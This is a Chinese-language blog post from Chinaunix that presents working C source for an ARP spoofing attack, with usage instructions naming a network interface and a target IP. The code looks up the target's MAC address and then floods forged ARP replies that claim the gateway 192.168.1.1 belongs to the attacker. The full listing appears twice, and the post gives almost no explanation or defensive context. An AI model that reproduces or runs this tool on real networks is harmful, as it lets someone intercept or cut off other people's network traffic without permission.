Chinaunix首页 | 论坛 | 博客
  • 博客访问: 96955
  • 博文数量: 21
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 194
  • 用 户 组: 普通用户
  • 注册时间: 2014-10-26 22:04
个人简介

大家好,我叫王大锤!

文章分类

全部博文(21)

分类: C/C++

2015-05-03 09:45:42

一个利用packet套接字实现arp攻击的实例
使用方法
make arp_attack
 ./arp_attack wlan0 192.168.1.107
当然wlan0的位置也可以是eth0等(看你用哪个网卡),192.168.1.107是目标机的IP

点击(此处)折叠或打开

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>


  5. #include <sys/socket.h>
  6. #include <netpacket/packet.h>
  7. #include <net/ethernet.h> /* the L2 protocols */


  8. #include <netinet/if_ether.h>


  9. #include <sys/ioctl.h>
  10. #include <net/if.h>


  11. #include <sys/types.h> /* See NOTES */
  12. #include <sys/socket.h>


  13. #include <sys/socket.h>
  14. #include <netinet/in.h>
  15. #include <arpa/inet.h>


  16. #define BUFSIZE 2048


  17. #define DEBUG 1


  18. static char *i_name = NULL;
  19. static int interface = 0;


  20. int catch_mac(int sfd, char *mac_buf, char *ip)
  21. {
  22.         char buf[BUFSIZE];
  23.         char recvbuf[BUFSIZE];
  24.         int ret;
  25.         struct ifreq ife;
  26.         struct sockaddr_in *myip;
  27.         in_addr_t herip;


  28.         struct sockaddr_ll ll;
  29.         
  30.         struct ethhdr *eth = (void *)buf;
  31.         struct ether_arp *arp = (void *)(eth + 1);


  32.         struct ethhdr *reth;
  33.         struct ether_arp *rarp;


  34.         /* 获取自己的mac地址 */
  35.         strcpy(ife.ifr_name, i_name);


  36.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  37.         if(ret < 0){
  38.                 perror("ioctl");
  39.                 return -1;
  40.         }
  41.         /* 获取自己的mac地址 */


  42.         /* MAC协议 */
  43.         memset(eth->h_dest, 0xff, 6);
  44.         memcpy(eth->h_source, ife.ifr_hwaddr.sa_data, 6);
  45.         eth->h_proto = htons(ETH_P_ARP);
  46.         /* MAC协议 */
  47. #ifdef DEBUG
  48.         printf("My Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  49.                 (unsigned char)eth->h_source[0], \
  50.                 (unsigned char)eth->h_source[1], \
  51.                 (unsigned char)eth->h_source[2], \
  52.                 (unsigned char)eth->h_source[3], \
  53.                 (unsigned char)eth->h_source[4], \
  54.                 (unsigned char)eth->h_source[5]);
  55. #endif
  56.         /* ARP协议 */
  57.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  58.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  59.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  60.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  61.         arp->ea_hdr.ar_op = htons(ARPOP_REQUEST);


  62.         memcpy(arp->arp_sha, eth->h_source, 6); /* sender hardware address */
  63.         memcpy(arp->arp_tha, eth->h_dest, 6); /* sender hardware address */


  64.         /* 获取自己的IP地址 */
  65.         ret = ioctl(sfd, SIOCGIFADDR, &ife);
  66.         if(ret < 0){
  67.                 perror("ioctl");
  68.                 return -1;
  69.         }


  70.         myip = (void *)&ife.ifr_addr;
  71. #ifdef DEBUG
  72.         printf("My Ip: %s\n", inet_ntoa(myip->sin_addr));
  73. #endif
  74.         memcpy(arp->arp_spa, &myip->sin_addr.s_addr, 4); /* sender protocol address */
  75.         herip = inet_addr(ip);
  76.         memcpy(arp->arp_tpa, &herip, 4);
  77.         /* ARP协议 */


  78.         /* 获得网络接口 */
  79.         ret = ioctl(sfd, SIOCGIFINDEX, &ife);
  80.         if(ret < 0){
  81.                 perror("ioctl");
  82.                 return -1;
  83.         }


  84.         ll.sll_family = AF_PACKET;
  85.         ll.sll_ifindex = ife.ifr_ifindex;


  86.         interface = ll.sll_ifindex;
  87. #ifdef DEBUG
  88.         printf("My interface %d\n", ll.sll_ifindex);
  89. #endif
  90.         /* 发送arp请求 */
  91.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  92.         if(ret < 0){
  93.                 perror("sendto");
  94.                 return -1;
  95.         }
  96. #ifdef DEBUG
  97.         printf("ret = %d\n", ret);
  98. #endif
  99.         /* 接受arp回复 */
  100.         again:
  101.         ret = recvfrom(sfd, recvbuf, sizeof(recvbuf), 0, NULL, NULL);
  102.         if(ret < 0){
  103.                 perror("recvfrom");
  104.                 exit(1);
  105.         }


  106.         reth =(void *)recvbuf;
  107.         rarp = (void *)(reth + 1);


  108.         /* 找到对方mac地址 */
  109.         if(!memcmp(rarp->arp_tha, eth->h_source, 6) && htons(reth->h_proto) == ETH_P_ARP && htons(rarp->ea_hdr.ar_op) == ARPOP_REPLY)
  110.                 memcpy(mac_buf, rarp->arp_sha, 6);
  111.         else
  112.                 goto again;
  113.         
  114.         return 0;
  115. }


  116. int build_rarp(int sfd, struct ethhdr *mac, char *ip)
  117. {
  118.         int ret;
  119.         struct ifreq ife;
  120.         struct ether_arp *arp = (void *)(mac + 1);
  121.         in_addr_t herip;
  122.         in_addr_t netway_ip = inet_addr("192.168.1.1");


  123.         /* MAC协议 */
  124.         strcpy(ife.ifr_name, i_name);
  125.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  126.         if(ret < 0){
  127.                 perror("ioctl");
  128.                 return -1;
  129.         }
  130.         memcpy(mac->h_source, ife.ifr_hwaddr.sa_data, 6);
  131.         mac->h_proto = htons(ETH_P_ARP);
  132.         /* MAC协议 */


  133.         /* ARP协议 */
  134.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  135.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  136.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  137.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  138.         arp->ea_hdr.ar_op = htons(ARPOP_REPLY);


  139.         memcpy(arp->arp_sha, ife.ifr_hwaddr.sa_data, 6);
  140.         memcpy(arp->arp_tha, mac->h_dest, 6); /* recv hardware address */
  141.         memcpy(arp->arp_spa, &netway_ip, 4);
  142.         herip = inet_addr(ip);
  143.         memcpy(arp->arp_tpa, &herip, 4);
  144.         /* ARP协议 */


  145.         return 0;
  146. }


  147. int arp_attack(int sfd, char *buf)
  148. {
  149.         int ret;
  150.         struct sockaddr_ll ll;


  151.         ll.sll_family = AF_PACKET;
  152.         ll.sll_ifindex = interface;


  153.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  154.         if(ret < 0){
  155.                 perror("sendto");
  156.                 return -1;
  157.         }


  158.         return 0;
  159. }


  160. int main(int argc, char *argv[])
  161. {
  162.         char *herip = argv[2];
  163.         i_name = argv[1];
  164.         char send_buf[BUFSIZE];
  165.         int ret;
  166.         int sfd;
  167.         int count = 0;


  168.         //创建socket
  169.         sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  170.         if(sfd < 0){
  171.                 perror("socket");
  172.                 exit(1);
  173.         }


  174.         ret = catch_mac(sfd, send_buf, herip);
  175.         if(ret < 0){
  176.                 perror("catch_mac");
  177.                 exit(1);
  178.         }


  179. #ifdef DEBUG
  180.         printf("Her Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  181.                 (unsigned char)send_buf[0], \
  182.                 (unsigned char)send_buf[1], \
  183.                 (unsigned char)send_buf[2], \
  184.                 (unsigned char)send_buf[3], \
  185.                 (unsigned char)send_buf[4], \
  186.                 (unsigned char)send_buf[5]);
  187. #endif


  188.         build_rarp(sfd, (void *)(send_buf), herip);


  189.         while(1){
  190.                 ret = arp_attack(sfd, send_buf);
  191.                 if(ret < 0){
  192.                         perror("arp_attack");
  193.                         continue;
  194.                 }
  195.                 printf("%d\n", count++);
  196.                 sleep(1);
  197.         }


  198.         //关闭socket
  199.         close(sfd);


  200.         return 0;
  201. }

  202. 点击(此处)折叠或打开
  203. #include <stdio.h>
  204. #include <stdlib.h>
  205. #include <unistd.h>
  206. #include <string.h>

  207. #include <sys/socket.h>
  208. #include <netpacket/packet.h>
  209. #include <net/ethernet.h> /* the L2 protocols */

  210. #include <netinet/if_ether.h>

  211. #include <sys/ioctl.h>
  212. #include <net/if.h>

  213. #include <sys/types.h> /* See NOTES */
  214. #include <sys/socket.h>

  215. #include <sys/socket.h>
  216. #include <netinet/in.h>
  217. #include <arpa/inet.h>

  218. #define BUFSIZE 2048

  219. #define DEBUG 1

  220. static char *i_name = NULL;
  221. static int interface = 0;

  222. int catch_mac(int sfd, char *mac_buf, char *ip)
  223. {
  224.         char buf[BUFSIZE];
  225.         char recvbuf[BUFSIZE];
  226.         int ret;
  227.         struct ifreq ife;
  228.         struct sockaddr_in *myip;
  229.         in_addr_t herip;

  230.         struct sockaddr_ll ll;
  231.         
  232.         struct ethhdr *eth = (void *)buf;
  233.         struct ether_arp *arp = (void *)(eth + 1);

  234.         struct ethhdr *reth;
  235.         struct ether_arp *rarp;

  236.         /* 获取自己的mac地址 */
  237.         strcpy(ife.ifr_name, i_name);

  238.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  239.         if(ret < 0){
  240.                 perror("ioctl");
  241.                 return -1;
  242.         }
  243.         /* 获取自己的mac地址 */

  244.         /* MAC协议 */
  245.         memset(eth->h_dest, 0xff, 6);
  246.         memcpy(eth->h_source, ife.ifr_hwaddr.sa_data, 6);
  247.         eth->h_proto = htons(ETH_P_ARP);
  248.         /* MAC协议 */
  249. #ifdef DEBUG
  250.         printf("My Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  251.                 (unsigned char)eth->h_source[0], \
  252.                 (unsigned char)eth->h_source[1], \
  253.                 (unsigned char)eth->h_source[2], \
  254.                 (unsigned char)eth->h_source[3], \
  255.                 (unsigned char)eth->h_source[4], \
  256.                 (unsigned char)eth->h_source[5]);
  257. #endif
  258.         /* ARP协议 */
  259.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  260.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  261.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  262.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  263.         arp->ea_hdr.ar_op = htons(ARPOP_REQUEST);

  264.         memcpy(arp->arp_sha, eth->h_source, 6); /* sender hardware address */
  265.         memcpy(arp->arp_tha, eth->h_dest, 6); /* sender hardware address */

  266.         /* 获取自己的IP地址 */
  267.         ret = ioctl(sfd, SIOCGIFADDR, &ife);
  268.         if(ret < 0){
  269.                 perror("ioctl");
  270.                 return -1;
  271.         }

  272.         myip = (void *)&ife.ifr_addr;
  273. #ifdef DEBUG
  274.         printf("My Ip: %s\n", inet_ntoa(myip->sin_addr));
  275. #endif
  276.         memcpy(arp->arp_spa, &myip->sin_addr.s_addr, 4); /* sender protocol address */
  277.         herip = inet_addr(ip);
  278.         memcpy(arp->arp_tpa, &herip, 4);
  279.         /* ARP协议 */

  280.         /* 获得网络接口 */
  281.         ret = ioctl(sfd, SIOCGIFINDEX, &ife);
  282.         if(ret < 0){
  283.                 perror("ioctl");
  284.                 return -1;
  285.         }

  286.         ll.sll_family = AF_PACKET;
  287.         ll.sll_ifindex = ife.ifr_ifindex;

  288.         interface = ll.sll_ifindex;
  289. #ifdef DEBUG
  290.         printf("My interface %d\n", ll.sll_ifindex);
  291. #endif
  292.         /* 发送arp请求 */
  293.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  294.         if(ret < 0){
  295.                 perror("sendto");
  296.                 return -1;
  297.         }
  298. #ifdef DEBUG
  299.         printf("ret = %d\n", ret);
  300. #endif
  301.         /* 接受arp回复 */
  302.         again:
  303.         ret = recvfrom(sfd, recvbuf, sizeof(recvbuf), 0, NULL, NULL);
  304.         if(ret < 0){
  305.                 perror("recvfrom");
  306.                 exit(1);
  307.         }

  308.         reth =(void *)recvbuf;
  309.         rarp = (void *)(reth + 1);

  310.         /* 找到对方mac地址 */
  311.         if(!memcmp(rarp->arp_tha, eth->h_source, 6) && htons(reth->h_proto) == ETH_P_ARP && htons(rarp->ea_hdr.ar_op) == ARPOP_REPLY)
  312.                 memcpy(mac_buf, rarp->arp_sha, 6);
  313.         else
  314.                 goto again;
  315.         
  316.         return 0;
  317. }

  318. int build_rarp(int sfd, struct ethhdr *mac, char *ip)
  319. {
  320.         int ret;
  321.         struct ifreq ife;
  322.         struct ether_arp *arp = (void *)(mac + 1);
  323.         in_addr_t herip;
  324.         in_addr_t netway_ip = inet_addr("192.168.1.1");

  325.         /* MAC协议 */
  326.         strcpy(ife.ifr_name, i_name);
  327.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  328.         if(ret < 0){
  329.                 perror("ioctl");
  330.                 return -1;
  331.         }
  332.         memcpy(mac->h_source, ife.ifr_hwaddr.sa_data, 6);
  333.         mac->h_proto = htons(ETH_P_ARP);
  334.         /* MAC协议 */

  335.         /* ARP协议 */
  336.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  337.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  338.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  339.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  340.         arp->ea_hdr.ar_op = htons(ARPOP_REPLY);

  341.         memcpy(arp->arp_sha, ife.ifr_hwaddr.sa_data, 6);
  342.         memcpy(arp->arp_tha, mac->h_dest, 6); /* recv hardware address */
  343.         memcpy(arp->arp_spa, &netway_ip, 4);
  344.         herip = inet_addr(ip);
  345.         memcpy(arp->arp_tpa, &herip, 4);
  346.         /* ARP协议 */

  347.         return 0;
  348. }

  349. int arp_attack(int sfd, char *buf)
  350. {
  351.         int ret;
  352.         struct sockaddr_ll ll;

  353.         ll.sll_family = AF_PACKET;
  354.         ll.sll_ifindex = interface;

  355.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  356.         if(ret < 0){
  357.                 perror("sendto");
  358.                 return -1;
  359.         }

  360.         return 0;
  361. }

  362. int main(int argc, char *argv[])
  363. {
  364.         char *herip = argv[2];
  365.         i_name = argv[1];
  366.         char send_buf[BUFSIZE];
  367.         int ret;
  368.         int sfd;
  369.         int count = 0;

  370.         //创建socket
  371.         sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  372.         if(sfd < 0){
  373.                 perror("socket");
  374.                 exit(1);
  375.         }

  376.         ret = catch_mac(sfd, send_buf, herip);
  377.         if(ret < 0){
  378.                 perror("catch_mac");
  379.                 exit(1);
  380.         }

  381. #ifdef DEBUG
  382.         printf("Her Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  383.                 (unsigned char)send_buf[0], \
  384.                 (unsigned char)send_buf[1], \
  385.                 (unsigned char)send_buf[2], \
  386.                 (unsigned char)send_buf[3], \
  387.                 (unsigned char)send_buf[4], \
  388.                 (unsigned char)send_buf[5]);
  389. #endif

  390.         build_rarp(sfd, (void *)(send_buf), herip);

  391.         while(1){
  392.                 ret = arp_attack(sfd, send_buf);
  393.                 if(ret < 0){
  394.                         perror("arp_attack");
  395.                         continue;
  396.                 }
  397.                 printf("%d\n", count++);
  398.                 sleep(1);
  399.         }

  400.         //关闭socket
  401.         close(sfd);

  402.         return 0;
  403. }


阅读(1484) | 评论(0) | 转发(0) |
0

上一篇:kernel的内存管理

下一篇:linux的内存开辟

给主人留下些什么吧!~~